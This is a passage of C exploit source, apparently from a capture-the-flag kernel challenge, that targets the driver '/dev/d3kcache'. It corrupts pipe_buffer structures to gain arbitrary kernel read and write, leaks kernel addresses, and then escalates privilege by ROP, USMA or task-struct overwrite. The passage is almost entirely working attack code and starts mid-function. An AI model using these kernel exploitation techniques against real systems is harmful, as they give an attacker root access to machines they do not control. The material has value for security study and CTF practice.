for (int i = 0; i < 10; i++) { pbuf->ops = ops_addr; pbuf = (struct pipe_buffer *)((size_t) pbuf + TRD_PIPE_BUF_SZ); }
evil_2nd_buf.page = info_pipe_buf.page; evil_2nd_buf.offset = 0; evil_2nd_buf.len = 0;
write(pipe_fd[self_3rd_pipe_pid][1],&evil_4th_buf,sizeof(evil_4th_buf));
write(pipe_fd[self_4th_pipe_pid][1],&evil_2nd_buf,sizeof(evil_2nd_buf)); write(pipe_fd[self_4th_pipe_pid][1], temp_zero_buf, TRD_PIPE_BUF_SZ - sizeof(evil_2nd_buf)); write(pipe_fd[self_4th_pipe_pid][1],&evil_3rd_buf,sizeof(evil_3rd_buf));
write(pipe_fd[self_2nd_pipe_pid][1], buf, 0xf00);
puts("[=] triggering CFI's detection...\n"); sleep(5); close(pipe_fd[self_2nd_pipe_pid][0]); close(pipe_fd[self_2nd_pipe_pid][1]); }
int main(int argc, char **argv, char **envp) {
save_status();
bind_core(0);
dev_fd = open("/dev/d3kcache", O_RDWR); if (dev_fd < 0) { err_exit("FAILED to open /dev/d3kcache!"); }
prepare_pgv_system(); prepare_pgv_pages();
corrupting_first_level_pipe_for_page_uaf();
corrupting_second_level_pipe_for_pipe_uaf();
building_self_writing_pipe();
info_leaking_by_arbitrary_pipe();
if (argv[1] && !strcmp(argv[1], "rop")) { privilege_escalation_by_rop(); } else if (argv[1] && !strcmp(argv[1], "cfi")) { trigger_control_flow_integrity_detection(); } else if (argv[1] && !strcmp(argv[1], "usma")) { privilege_escalation_by_usma(); }else { privilege_escalation_by_task_overwrite(); }
trigger_control_flow_integrity_detection(); return 0; }
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